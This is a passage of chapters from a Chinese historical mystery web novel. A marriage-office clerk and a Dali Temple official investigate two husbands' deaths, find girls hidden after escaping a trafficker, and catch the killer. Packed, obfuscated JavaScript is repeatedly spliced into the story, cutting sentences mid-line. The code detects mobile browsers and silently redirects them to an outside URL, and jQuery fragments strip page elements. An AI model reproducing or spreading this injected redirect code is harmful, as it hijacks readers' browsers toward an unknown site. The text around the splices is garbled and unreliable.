一旁的钱大、张老太太等人见魏怀州说起“江员外留下文书”之类的话,又见他低声交代顾行歌,便都觉察出事态已经超出他们的想象。继续留下来只怕是要被搅和进公堂是非,不如趁早抽身才好。 钱大额角都出了汗,双手搓来搓去,犹豫了半天,最后连连作揖道:“那我就不多叨扰了,大人慢谈,大人慢谈,告辞告辞。” 他边说边退,脚下一着急,还差点踩到了张老太太,连忙又赔笑:“哎哟,老太太您慢着点,我扶您,咱们这就走。” 赵清看得一愣,忍不住凑到顾行歌耳边,小声嘀咕道:“我还以为他是真心对何娘子有点意思呢……结果江员外的事刚露出个苗头,这就急得像屁股着火似的,跑得比谁都快。和那张老太太一路人啊。” 顾行歌心里虽然也是这么想的,但这么说外人坏话终归还是不好的,于是她小声制止:“别说了,人都还没走远呢。” 不过这般看来,李烛龙那小子倒也不是全无希望。 魏怀州也未强留,只冲着钱大点了点头算作回应,目光却已落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15926962|175972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在何宛枝身上。 “何娘子,”他语气虽然温和,却不容拒绝,“还请与我们走一趟大理寺。关于江员外的一些事情,还是需要核实。” 何宛枝闻言,面色微变。她下意识地握紧了手中的抹布,一句话也没说。 她垂着眼,像是在犹豫,又像是在害怕。良久,她抬起头来,望向屋子里面的人。她在这世上本就孤身一人,娘家早没了音讯,两任丈夫皆死于非命,四下望去,完全无一人可倚靠。 她的目光,在屋内几个人身上飘过,最终却停在了顾行歌身上。 顾行歌迎上她的目光,心中微微一震。 顾行歌做合婚司的主簿两年,见过太多女子嫁人时的喜极而泣,也见过被催婚时的愤然和不甘,她从未见过女子露出这样一种神色,没有喜怒哀乐,只是茫然地看着你,仿佛整个人被命运搁置,连抵抗的力气都没了。 半晌,顾行歌开口了:“别怕,去吧。我信大理寺,也信魏大人。你若真无错,没人会冤你。” 何宛枝点了点头,最后还是和魏怀州走了。 屋里只剩下顾行歌和赵清两人。 赵清揉了揉鼻子,忍不住小声道:“主簿,那我们现在去哪里?是回合婚司吗?” 顾行歌此时才从袖中摸出一张小字条,正是方才魏怀州凑近她耳边时,趁人不备悄悄塞进来的。没想到这位看起来一本正经的魏大人,竟也会耍这种小手段。 顾行歌展开来一看,字条上面写的两个字: 东山。 赵清凑过来一看,也低声嘀咕:“这是让我们去查张屠户在东山摔死的事吗?怎么这大理寺用我们合婚司来查案是越来越顺手了啊……” 顾行歌轻轻将纸条收好:“东山,就在太平坊到张屠户的家之间,按理来说这张屠户身强力壮,平日又好饮酒。这路他又熟,跌落悬崖……未免也太巧了。” 赵清偏头想了想,忽然小声道:“主簿,我其实早想问了,你真的信何娘子没有杀她丈夫吗?” 顾行歌语气一沉:“你说什么呢?” 赵清却认真地说道:“我不是胡说的。主簿你方才不是出去了吗?我和何娘子两个人留在屋里,结果屋外突然刮起一阵怪风,那门砰地一声就被死死压住了,我怎么拉都拉不开。最后,还是何娘子,她一个人,一只手就把门给拽开了。” 他顿了顿,像是怕顾行歌不信,又补了一句:“我后来仔细看了她的手,她的手掌心,紧挨着虎口的位置,一条条的全是老茧。那种茧不是一般做饭劳作出来的,倒像是……” 顾行歌听着,眉头轻蹙。 其实晌午的时候,她便觉着有些不对劲。那时她为了套近乎,替何宛枝提包袱,那包袱她两只手抱着都嫌吃力,何宛枝却能轻轻松松一只手提起来。 当时她还以为是自己手臂被张老太太抓伤了,使不上劲。可现在细细一想,恐怕不是她没劲,是何宛枝力气太大了。 顾行歌道:“倒像是……常年拿棍棒之类的,练出来的。” 赵清眼睛都亮了:“对对对!你想啊,张屠户又爱喝酒,那日若是两人一道走过那东山,张屠户醉了,走得不稳,在崖边,她只要趁张屠户不备,一棍子敲下去,再推下去,谁能说不是失足?” 赵清越说越激动,觉得自己的推论完美无瑕:“所以魏大人才把她带走,他这是……先把人稳住,再让我们去东山,就是让我们去找有没有别的线索!” 19. 两个夫君(五) 从何宛枝家中出来时,天色已经彻底暗了下来。 这会子又起了风,街上的灯笼摇摇晃晃。太平坊今日倒是静得出奇,此时只能隐约听见远处传来的几声犬吠。 顾行歌与赵清沿着巷子一路往外走,出了坊口,再穿过城门,脚下的土路开始变得起伏不平,前头不远处,就是那座西山。 西山这地儿,说不上荒凉,但确实也不算兴旺。京城的人都晓得,东富西贫。东边是勋贵官宦扎堆之地,酒楼茶肆,应有尽有。而西边临山,无良田可种,久而久之,便只剩些屠户、铁匠一类靠手艺吃饭的人留了下来。 走着走着,顾行歌忽见官道旁有一处小院落,门半掩着,里头还透着点橘黄的灯光。门口挂着个有些褪了色的牌匾,上头写着“西山茶肆”四字。 她的肚子也适时地响了起来,便抬手一指:“进去坐坐吧。” 赵清自然是举双手赞成。他这一路走来,走到腿疼,巴不得有地方能歇歇。 店里冷冷清清的,只有一个白发老伯在炉边坐着,正在煮茶。听见有人进来,便起身拱了拱手:“客官来得晚了些,茶不多了,还请勿怪。” “无妨。”顾行歌拱手还礼,挑了靠窗的一张桌子坐下。 不多时,老伯果然端来两杯茶和一盘莲藕糕。顾行歌倒也没客气,拿起一块便咬了一口,一边吃一边琢磨着今夜这趟西山之行。 片刻后,她抬头道:“劳驾,想问问,这里离张家庄还有多远?” 老伯摇着扇子,又在炉边坐下,道:“要是说现在的张家庄,那就在这西山脚下,再往前走个几步也就到了。” 顾行歌听罢,皱了皱眉:“西山脚下?可我记得张家庄原是在山上的。” 老伯一听这话,连连摆手:“唉,可别往山上去了。那地方早些年还有人住,如今谁还敢上去?原本确实是在山腰上,可这两年出了些怪事,说是山里闹鬼,时不时就有人见着夜里有火光,听得见人声,可一过去却什么也找不着。慢慢地,那一带的人全都搬下来了。” 顾行歌和赵清面面相觑。 不是说张屠户是在回家路上,从山崖上摔下去的吗?可他家若早就搬到西山脚下,又何必还走那条山路? 顾行歌沉吟片刻,抬头问道:“老伯,那您可知道张屠户这个人?他们一家现在住在哪儿?” 老伯皱着眉,摸着下巴,想了想:“是那个前阵子摔死的张屠户吧?他老娘现在还在山脚下住着,就是靠村口那间破屋子。我瞧着,他多半也是被山上那些不干净的东西给闹死的。” 赵清听得脸色微微发白,他素来怕这些鬼神之说,如今更是半句话都说不出来了。 倒是顾行歌若有所思道:“那张屠户家的那个娘子,难道她是住在山上的?” 老伯摇了摇头,道:“你说的那位我晓得,长得是个水灵样儿。不过她白天几乎不露面,都是趁着夜里悄么声儿地上山。”他说到这儿顿了顿,压低了声音,“还不止一次见过她和张屠户的老娘一块儿上山。我寻思着,她八成跟山上的那些古怪事儿,脱不了干系。” 赵清听得头皮发紧,忍不住低声嘀咕:“这何娘子跟张老太太势同水火么?怎么还一块儿上山去?” 老伯哼了一声,意味深长地道:“那都是人前的样子,背后怎么走动的,可就说不准了。这人哪,哪个不是一肚子坏水。” 顾行歌心下已有几分判断,便也不多停留,只草草喝了几口茶,便带着仍旧瑟瑟发抖的赵清,顺着茶肆后的小道往山上去了。 此时夜已深,山中凉风更盛,山路两旁是高耸的树木,风一吹,枝叶哗哗作响。 西山不算高,脚程快些,半炷香功夫便到了山腰处。果然如老伯所言,山头只剩下几间残破不堪的老屋,屋瓦倾斜,院内都长了杂草,一派无人居住的景象。 但细细看来,却并非全然荒废。这院中的水缸竟然还隐隐约约反着光,竟是盛着水的。院门前的杂草也被压出了一条路,像是有人偶尔出入。 现下四周黑乎乎一片,偶尔有几声鸟叫幽幽地传来。 赵清死死揪着顾行歌的衣角,低声哀叹:“主簿啊,我们要不还是下去吧?这地方阴森得很,说不准真闹鬼呢。” 顾行歌像是没听见,只凝神望着那几间屋子,眉头微皱:“奇怪。” “啊?什、什么奇怪?”赵清干笑了一声,声音都有点抖。 顾行歌道:“方才那位老伯说,这山上没人居住,可我怎么看,都有人居住的痕迹啊。” 赵清咽了口口水:“那到底是谁住在这里?” 顾行歌心不在焉道:“不管是谁,张屠户的死,八成跟这地方脱不了干系。”她瞧见赵清脸色越来越白,便又补了一句,“你别自己吓自己,我只是猜,或许这里藏着什么人,张屠户就是因此送命。” “你、你不是在说……是这里的‘东西’害了他吧?”赵清颤抖着说道。 顾行歌正要开口,忽觉赵清神情骤变,整个人僵在原地。 她心头一紧,还未来得及说话,便见赵清僵硬地抬手,一点点地伸向她身后,结结巴巴道:“后……后面……” 顾行歌心中一沉。 她不动声色地偏了偏头,余光瞥过去,果然看到有几点微弱的火光,如同鬼火。 她缓缓转过身去。 只见不远处,站着几道细瘦的身影,手中都举着一盏纸灯笼,烛火乱跳,映得他们的脸忽明忽暗。 为首的是个看起来十几岁的姑娘,眉眼清秀,神情冷峻,一手执着一柄长枪,枪尖直指顾行歌。 她身后跟着几个小女孩,年纪更小些,头发梳成整齐的双髻,正仰着头,朝着顾行歌笑。 顾行歌头皮一阵发麻。 赵清则是毫无悬念地叫了出来,嗓音又细又高,倒是把对面那几个孩子吓得后退了几步。 顾行歌一时没动,余光瞥见那些孩子脚下都有影子,这才暗暗松了口气。 谢天谢地,不是鬼,是人! 虽是松了口气,可她也实在轻松不起来。毕竟她自己手无缚鸡之力,赵清这副模样更是指望不上。若那小姑娘真动起手来,他们两个怕是当场就得交代在这西山上。 她只得悄悄伸手,将赵清的嘴捂住,好让他别再浪费力气鬼叫,留着点力气,实在不行还能跑。 那几个小女孩倒也不怕,一个个眼睛骨碌碌地转着,打量着顾行歌和赵清。方才还藏在后头的一个瘦小女孩,忽然探出身子,问了一句:“你们是来抓我们的吗?” 话音刚落,站在最前头的少女立刻伸手将她拽了回来:“别乱说话。” 这话问得太突然,顾行歌还没反应,赵清却已经先“啊?”地叫出声来,随即挤出一个比哭还难看的笑,嗡嗡地说道:“你、你们是人啊……” 顾行歌把手从他嘴上撤下来,顺手在他衣襟上使劲儿擦了两把:“都说了别叫,我这手满是你唾沫。” 赵清小声嘟囔:“我、我这不是太害怕了嘛。” 顾行歌看着那几个孩子,问道:“我们不是来抓你们的,是想问几个问题。你们住在这儿?” 那小女孩点了点头,又摇摇头:“以前不住,现在也不算住……我们就待在这,不碍事。” 顾行歌皱眉:“你们家大人呢?” 小女孩道:“没有大人。”她声音低了些,“何姐姐说,这儿安静,不会有人管我们。她每次来都会给我们带东西吃,还教我们藏在什么地方,不让别人看见。” 顾行歌眉头越蹙越紧:“何姐姐?你说的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那枪尖离顾行歌越来越近,直逼咽喉,但是那少女的双手却还在颤抖。 顾行歌知道自己猜的八九不离十了。 她深吸一口气接着说道:“何娘子不知道在哪里藏你们,毕竟这么多人,藏在哪里都很惹眼。于是她从嫁给张屠户的那一刻起,就打量了他家的这一块地,偏僻,荒凉,还远离人群。从那时起,这西山上便有了鬼怪传说,以便祛除人群,让你们能在这儿悄悄活下来。” 话音刚落,那少女神色猛地一变,手中长枪猛然刺出! 顾行歌一个侧身,几乎是贴着那枪锋避了过去。 好家伙,这下她总算明白,为何这姑娘能带着一群小孩守在这荒山野岭了。感情是身手这么好! 她还未来得及站稳,就听身后赵清“哇”一声大叫,竟然还鼓了掌…… 顾行歌简直想原地骂人:“你倒是来帮我啊!” 赵清嘴巴张了张,还没来得及上前,那少女已第二次挥枪,这次力道更足,几乎是要把顾行歌穿透。 顾行歌见状,当即大喊:“何娘子被人抓了!” 那少女动作一滞,长枪在顾行歌肩头一寸处停住:“你说什么?” 顾行歌接着说道:“何娘子被大理寺的魏少卿带走了。你听过那魏少卿的名号吧,鬼判官!” 那少女停了下来。 顾行歌趁机退后一步,语速飞快:“何娘子现在已经被大理寺的人带走了。抓她的,就是传说中的那个鬼判官,大理寺少卿,魏怀州!” 果然,那少女的脸色刷地白了一层,嘴唇紧紧地抿住。 顾行歌心里也有些发虚:魏大人啊,你大人有大量,莫怪我一时诬你凶名,只是这时候,只有你的名字最吓人了。 顾行歌看准时机,语气柔了几分:“你若真想救何娘子,就得告诉我你知道的一切。我不是来抓你们的,我是来帮你们的。魏大人怀疑何娘子与江员外、张屠户的死有关。” 她一步步走近,眼神坚定:“可我不信她会做那种事。只是现在,她人在大理寺。我若要保她,便得知道全部的真相,还有……江员外和张屠户的死,究竟和她有没有关系。” 20. 两个夫君(六) 那少女像是迟疑了一下,回头看了一下身后那几个瘦瘦小小的女孩。她们也正仰着头看她,有的抓着她的衣角,有的半躲在她背后,神色怯生生的。 片刻后,她终是开了口:“我们……原是江员外府上的人。” “说是侍女,可其实也不算。”她话音一顿,眼神有些躲闪,“我们是被买进去的。江员外给我们换了名字,还教我们琴棋书画、女红针线,表面上待我们极好。可我心里明白,我们迟早是要被他卖出去的。” 顾行歌点了点头,心下已有数。 江员外原本就靠牙行起家,干的便是拐卖人口的营生。如今听这少女亲口一说,倒也不难猜出,他定是从乡下穷苦人家挑来模样乖巧的小女孩,关在府中精心调教养大,等养得差不多,便当瘦马出手,好赚一笔高价。 只是那几个躲在后头的孩子…… 顾行歌默默估算了一下年纪,那几个孩子进江府时,怕也不过才五六岁。 这样小的孩子,也能下得了手? 顾行歌心里泛起一股说不出的冷意,能对如此年幼的孩子下得了手的人,才是真正的恶鬼。 那少女接着说道:“何姐姐比我们早来一段时间。她武艺好,江府里的人都叫她夫人……但其实,我们都知道,那不过是江员外安给她的名分,实则她负责教管我们。” 她顿了顿,又轻轻补了一句:“其实府里也有好人。有些仆人对我们挺好,只是……他们也没办法。我们挨打的时候,他们也只能装作没看见,等夜里再偷偷给我们送点药、送点吃的。” 顾行歌问道:“你的武功就是那个时候何娘子教的吧。” 那少女点了点头,眼神里掠过一丝柔软。 “在何姐姐身边,我们总算能好过些。”她轻声道,“她虽然话不多,却从未动手打过我们,反而教我们扎马步、练拳法,说女子也要能自保……若真哪天逃出来了,就不能再被人拐走卖掉。” 顾行歌听她说得平静,心里却不禁泛起一阵苦涩。像她这般大的孩子,原本该在家中被人爱护,却被带到那种地方过上提心吊胆的生活。可见江员外那处,是怎样一个吃人不吐骨头的地方。 那少女声音低了些:“可这样日子,终归是撑不了多久的。” 她抬头看顾行歌:“我们……原本是要被卖掉的。第一个,就是我。” 顾行歌沉着脸,一语不发。 那少女眼神有些飘忽:“那天,天刚亮,何姐姐就把我们叫了起来。她说要带我们出府。我还以为她疯了,江员外最忌讳有人带接近我们,更不要说带我们出门。可她说,她已经不想等了。” “我们出了院子才发现,府上所有的仆人都出来送我们,我们藏在马车里,花了整整一天才到这西山。何姐姐说,这里人少,不容易被人发现。”她声音渐渐低下去,“后来我们才知道,江员外,在我们出门的前一夜,便已经死了。” 顾行歌闻言,眉头一点点皱起。 果然,和她推测的差不多。 江员外刚一死,何宛枝便带走了这些孩子。府中众仆虽不敢明言,却个个缄口不言。 江员外的死,看起来没那么简单。若说何宛枝不是凶手,那她起码也是知情人。 “后来呢?”顾行歌追问。 那少女道:“打那之后,我们就一直留在这里。府上的事我们不知道,也不敢问。只有张大哥和何姐姐,会时不时来山上看看我们,送点粮食和换洗的衣服。何姐姐还说,等我们再大一些,就送我们去学堂读书、习字。” 她声音有些哽咽,“她说我们不是被人摆弄的货物,是人,是能自己选路的人。” 顾行歌听得一阵沉默。 她缓了缓,忽然开口问道:“你刚才说,张屠户从那时候起就经常来山上?” 少女点点头:“是啊,从我们搬来这里的第一天,他就来了,那时候还帮着修屋顶,还教我怎么劈柴。后来张婆婆他们也常来,送米送炭,一直照应着我们。” 顾行歌追问:“可你们是怎么认识他的?” 少女露出一丝迷惑的神色,想了想,认真道:“其实早在江府,我们就见过他。他常常送肉来府上。” 她想了想,补充道:“他一来,何姐姐就会去帮忙,他们两个也常说话,所以我们几个都以为他们很熟了。” 看来这两人之前就相识,可今日何娘子却矢口否认…… 顾行歌心底已经掠过一道模糊的脉络。江员外、何宛枝、张屠户,这三人之间的联系,远比她之前猜测的要更早、更深。 “那这张屠户……对你们怎么样呢?”顾行歌小心翼翼问道。 那少女却毫不犹豫地说道:“张大哥对我们极好了。何姐姐有时候还会骂我们,但张大哥从来不骂人,甚至还背过小桃下山看病。当初也是他和何姐姐一起,把我们带到这山上的。” 赵清在一旁小声咕哝:“这张屠户的样子,怎么和传言里完全不一样啊?传说不是说他脾气暴、爱喝酒来着?” 顾行歌没接话,心里却也浮上了同样的疑问。关于张屠户的传言,她听得多了,几乎一个模子里刻出来的:粗鲁、暴戾、好酒好赌,三句话离不开打骂。可眼下这少女口中的张屠户,却温和得近乎让人误以为是另一个人。 显然,这案子里,有人在说谎。 顾行歌心中已有几分计较,便又问道:“几个月前,张屠户死在这山崖上,你们可知道?” 那少女眼神微动,回头看了眼那几个年纪更小的孩子,像是在确认她们有没有听见,然后才低低应了声:“我是知道的。” “你知道?”顾行歌也压低声音,“那这事,可与何娘子有关?” 少女猛地抬头,迅速涨红了脸,说道:“自然无关!若是她害的张大哥,我早就……”她忽然顿住,显然意识到自己气上了头,低头吸了一口气,这才开口道,“我信何姐姐,她不是那样的人。” “其实张大哥死前半个月,有一回来得比往常早些,先给我们送了些粮食和布料。我们正吃着东西,忽然听见他低声叫我们赶紧躲起来。” 少女声音也放轻了些:“我藏在屋后的柴垛后头,隐隐瞧见一个男人走了进来。我不认得他。他穿得还算体面,进门时也没说什么话,神情客客气气的,可张大哥一见他,脸色就变了。” 顾行歌轻声问:“你听见他们说了什么没有?” 少女摇了摇头:“没听清,他们压着声音说话,后来张大哥带着那人一起下了山。我原以为是这村子附近的人,可那之后张大哥就再没来。再后来,何姐姐就告诉我……她说张大哥似是摔死在崖下了。” 顾行歌皱起眉头:“此事,何娘子知道吗?” 少女点点头:“自是知道的。” 顾行歌道:“那男子长什么样子?” 少女一时怔住,回忆着:“我没看清他的脸,只记得,个子很高,肩膀宽,很壮实,好像还和张大哥相识。” 顾行歌的眼神倏地一闪,猛地看向赵清。 赵清一愣,也跟着回望她一眼,低声问:“这怎么找啊,那张屠户认识的人不说上百,也得有四五十了吧,咱总不能一户户问过去吧……” 他话没说完,顾行歌忽地拉住他的胳膊:“不好,快,跟我下山。” “啊?”赵清被拽得一个踉跄,险些摔了,“主簿你倒说清楚,哎哎哎你等等我啊!” 此时,山下的村庄,夜色已深,安静得出奇。 顾行歌一路快步走着,直到快到村口那间老屋前,忽地停住,伸手挡了赵清一下。 “等等。”她低声道,目光紧紧盯着前方那间院墙低矮的小屋。 “怎么了?”赵清问。 顾行歌不答,抬手比了个方向,领着赵清绕到屋后。 赵清一边蹑手蹑脚地跟着,一边小声嘀咕:“这不是……那老翁说的张老太太的家吗?主簿你该不会是怀疑,她一个老太太还能杀人?” 顾行歌摇了摇头:“我不是怀疑她。” 她接着问道:“你说,杀害张屠户的人,到底图的是什么?” 赵清被她问得一怔,挠了挠脑袋:“我怎么可能知道,总不可能是因为张屠户抢了卖猪肉的生意?难不成,是图他的钱?” 顾行歌点点头:“那你再想想,张屠户的钱,是从哪儿来的?” 赵清脱口道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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朦胧之中,一个高大的身影正弯腰在屋内急躁地翻找着什么。 顾行歌眼神冷了几分,心中默默念道:“今日在场,听到何娘子说那句‘东西都归入张家’的……只有一个人。” 赵清刚探头进来,看到那身影的轮廓,惊得差点蹦出声:“钱大!怎么是他?” 顾行歌立马一个眼神过来,赵清自知失言,随即立马闭上了嘴,连呼吸都放轻了。 若真惊动了屋里那人,今夜怕是得以命相抵。 好在屋内的钱大并未察觉,只看他还在不停翻找着什么,并且恶狠狠地说道:“老太太啊,莫怪我。你那好儿子跟好儿媳妇,自个儿不识趣,早早把东西给我,不至于闹到这一步。” 张老太太就坐在离窗户不远的地方,双手被麻绳缠得紧紧的,嘴也被布条堵着,只剩一双眼睛睁得大大的,却看起来很平静。 钱大翻箱倒柜的声音越来越大:“这些年,我为江员外出力卖命,刀口舔血地干事,”他一边翻找一边咬牙道,“凭什么轮不到我分一份好处?就算他死了,那些东西也该有我一份!” 说着,他又转身朝屋角另一个柜子走去,似是打算将这屋子彻底翻个底朝天。 钱大此番下手,八成已是孤注一掷。 他走到这一步,已退无可退。不论那所谓江员外留下的宝物能不能翻找出来,只要他今夜能将东西找到并顺利脱身,便还有一线生机;可若是找不到,那就什么都没有了,说不定连命都难保。 可这江员外的东西,是魏怀州要查的关键证据。 顾行歌心里很清楚,若今夜让钱大将那物事带走,魏怀州前前后后查案的功夫就都要打水漂。 虽然这魏怀州着实可恶,但方才她才借用了此人的名号,用来自保。 于情于理,都得帮这一把。这张老太太必须救,钱大必须拦。 可眼下,钱大疯了一般翻箱倒柜,屋里还有一人受制,硬闯并不划算。 顾行歌正思索着要如何设法将老太太救出来,忽听赵清低低倒抽了一口凉气。 顾行歌以为他又吓着了,正想斥他一声,谁知赵清神情竟透着几分喜色。 顾行歌顺着他的目光往屋里望去。 只见那原本被捆住双手的张老太太,竟不知何时已挣脱了绳索。 她整个人蜷伏着,悄无声息地往钱大的背后爬去,她眼神里带着一股子狠意,分明是要与这钱大拼命的模样,和白日里那个撒泼打滚的市井泼妇,判若两人。 而她的手中,赫然攥着一把匕首。 21. 两个夫君(七) 顾行歌险些惊得喊出声来。 她死死盯着那老太太蜷缩着的身影,简直不敢相信自己的眼睛。 这张老太太,竟是真的要扑上去杀了那钱大。 “她哪来的匕首?”顾行歌喃喃自语,“难不成,是早就藏好的?她是早有准备的?” 眼看着张老太太的匕首就要刺中钱大了,谁知钱大像是背后生了眼,猛地一转身,抬手一挡,竟恰好将那匕首打落,发出哐啷一声响。 他神色却丝毫不见慌乱:“我说你今日怎么这般顺从,原来是设了这一出等我。” 说着,竟毫不留情地一把将老太太提了起来。 张家老太太气得全身直颤,嗓音嘶哑:“你个天杀的,你害我儿子,我要你偿命!” 说罢,她死死拽着钱大的衣襟,眼中恨意翻涌,竟有点同归于尽的感觉。 钱大冷笑一声:“谁告诉你,你儿子是我害的?你那好儿媳妇?” 他阴沉着脸:“合着你们婆媳两个早就合计好了,演了这么多场戏,就是为了等着今儿个送我上路?” 话音一落,他一只手掐住了张老太太的脖子。 “好,那我就成全你!”钱大狞笑道,“下去见你那好儿子去吧!” 顾行歌眼看老太太命悬一线,心下一紧,猛地就要冲出去,却被赵清一把按了下来。 赵清摇摇头,随即朝外头一指,示意她等等。 顾行歌却顾不得那么多了,只丢下一句:“快去找人来!”便猛地甩开赵清的手,快步窜到屋前,抬脚就是一记狠踹,将门猛地踹开。 “住手!” 钱大猝不及防,被这声怒喝惊住,手上一顿。张老太太趁机猛地挣脱开他的手,跌跌撞撞往旁边躲了几步,但仍被他堵在屋里,退无可退。 此时月亮似乎被一朵云遮住,月光也照不进来,屋内昏暗无比。 钱大定了定神,看清来人是顾行歌,倒也不慌,冷笑道:“竟然是你啊,小主簿。” 顾行歌心头紧绷,面上却强装成镇定的样子:“你要找的东西,在我手里。” “哦?”钱大看起来不太相信的样子。 “我可以给你。”顾行歌道,“前提是,你放了张家老太太。” 钱大似笑非笑地看着她:“你白日里不是挺厌烦这老东西的吗?怎么着,突然良心发现?” 顾行歌不动声色:“一码归一码。你要是有脑子,就该明白,跟我做这笔交易,是稳赚不赔。” 钱大咧嘴一笑,讥诮道:“你说得轻巧,谁知道你是不是空口诳我?” “这样吧,你过来,让我先看看是个什么玩意儿。若是真有点意思,我自然放人。” 顾行歌二话不说,从怀中掏出一张纸,抬手朝他晃了晃:“这上面写的,就是宝物的所在。” 她其实心里清楚,根本不知道那劳什子宝物是什么。这张纸正是今日何娘子给张老太太,张老太太不肯要的那张银票。可眼下情况危急,能拖一时是一时,只能拿这个先糊弄过去。 钱大在太平坊出了名的力气大,脑子却一根筋。她赌的就是他这一点。看他折腾了半天都没找到东西,这会儿见她手里拿着张纸,八成要信。 果然,钱大只扫了一眼,便像是真信了。他抬脚将张老太太往顾行歌那边一踢,老太太没站稳,一屁股坐在地上。 顾行歌暗暗松了口气,将那张银票裹在一块石头上,顺手朝屋子最里面扔了过去。 “你不是想要吗?自己去捡!” 她话音刚落,钱大果然上了钩,立刻往屋内走去。顾行歌不敢耽搁,立刻上前搀起跌坐在地的张老太太,低声道:“快走!” 两人跌跌撞撞地朝门口撤去。 等钱大发现那不过只是一张银票的话,可就不好跑了! 可谁知刚到门口,顾行歌一脚踩在门槛边角,竟一脚踩空,整个人失去了重心。 “哎哟!” 顾行歌还未来得及稳住脚,整个人扑倒在地,胳膊重重磕在门框上。她心中一急,刚一回头,就看见钱大脸色骤变,猛地朝她扑来。 “你耍我?” 钱大反应过来,大手一伸,直接把顾行歌从地上提了起来。 “你找死!”他咬牙切齿道。 顾行歌被拎着,连挣扎都困难,心中已是唉声叹气:赵清你这个乌龟,怎么还没叫来人,再不来我就得死给你看了! 她勉强稳住心神,换上带点哭腔的语调,赶紧说道: “好汉,好汉,饶我一命吧!我可是户部挂职的主簿,有官身的。你真要动我,就不怕京里查下来,你都跑不了。” 钱大呲着牙,冷笑一声:“你这张嘴啊,一句真话都没有。我倒要看看,等我卸了你一条胳膊,你还能胡说八道到几时。” 说着,他猛地一扯,揪着顾行歌的衣襟就往屋里拖。 顾行歌被拖得踉跄几步,肩膀重重地撞在门框上,疼得她眼前一黑。 但她咬着牙,心头一横。软的不行,那就来硬的。 顾行歌抬起头,声音冷硬几分:“你可知我今日来时,随行的那位大人是谁?” 她喘着气,却不慌乱:“那是大理寺的鬼判官,魏怀州!那位大人杀人不眨眼,一个月至少干掉十个。你这点小伎俩,在他眼里连根毛都算不上。” “你知道我和他是什么关系吗?出生入死的关系。他若知道你敢动我一根头发,保准让你脑袋落地、全家上断头台!” 这番话一口气说完,顾行歌觉得自己气势凛然、凶狠到家。若是照着话本子来,此时都该响起几个定点用的锣鼓声了。 却不料钱大一听,反倒哈哈大笑:“你可真会扯,刚才说什么你有宝物,现在又扯出个鬼判官。我信你,我还不如信我家张屠户家的猪会念经!” 他话音一落,便粗暴地将顾行歌拖进屋内。 顾行歌咬牙闭眼,心中只剩一个念头在狂吼:赵清!你到底啥时候找到帮手啊?你主簿我真的快不行了! 她正想着要不要双手狠狠地抓住门框,让钱大没法把她拖进去。 忽然,“砰砰砰!”几声闷响从屋外传来,接着门板猛地一颤,似是被什么重物狠狠撞上。 钱大猛地转头,刚要怒骂,却感觉手上一空。 顾行歌已经不知被谁从后头一把拽走,整个人猝不及防地撞进一个温热结实的怀里。 她眼前一黑,下巴蹭上了对方的衣襟,那布料带着熟悉的触感,还有一股清冷的味道,像是今日才闻过。 顾行歌脑子里还没转过弯,整个人就僵在那怀里,不知是吓的还是窘的,动都不敢动一下。 却听那人声音冷冷从头顶落下:“她说的,确实都是实话。” 顾行歌整个人猛地一震,这声音她再熟悉不过。 魏怀州! 那岂不是,方才她胡诌的那些话,什么“杀人不眨眼”、什么“出生入死的关系”,全都让魏怀州给听了个清清楚楚? 顾行歌脑袋一空,心中哀嚎,这下好了,全叫他亲耳听了去。 顾行歌本来还在魏怀州的怀中,一愣神的工夫,忽然如鲤鱼打挺般猛地直起身来,腰板绷得笔直,整张脸涨得通红,不知是被吓的还是被臊的,反正僵在那里一动不动。 魏怀州低头看她一眼,眉心轻蹙,似是想说什么,但见她安然无恙,终究还是没多言,只将她稳稳放回地面,声音平静:“别乱跑。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983411|175972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾行歌哪敢答话,只“哦”了一声,转身飞快地蹿到屋角。她不敢看向魏怀州,只得转过头,打算假装四下巡视,混过去。 结果一抬头,就看到赵清正站在门边,一双眼泪汪汪的大眼睛盯着她,眼角还挂着未干的泪痕。 顾行歌心头一软,叹了一口气,这次还得是赵清跑得够快,叫来了人。虽说自己出了点丑,经历了一点波折,但是好歹命保住了。 她对赵清说道:“你这次真的很厉害,没想到你能跑这么快。” 赵清小声嘟囔道:“我、我就没出这院门。” 顾行歌一愣:“那你没出院子,是怎么叫来魏大人他们的?” 赵清吸了吸鼻子,低声道:“我没叫,他们一直都在这院子里。就在院子正门那边一直躲着。” 顾行歌脑袋嗡的一声,像是被人当头敲了一下。 那岂不是,自己方才一通逞能,用银票耍人、扯出魏怀州来吓人、扑门槛摔了个狗吃屎,全程还带哭腔求饶……全叫人看了个一清二楚? 顾行歌脑袋隐隐作痛。 她转头瞪向赵清,声音压得极低:“你早知道他们在?那你为什么不提醒我?” 赵清有点委屈:“不是你叫我不要说话的吗?我怕一出声又坏你事儿……再说了,方才你要进去的时候,我不是拦了你一把吗?我以为你看到魏大人他们了。” 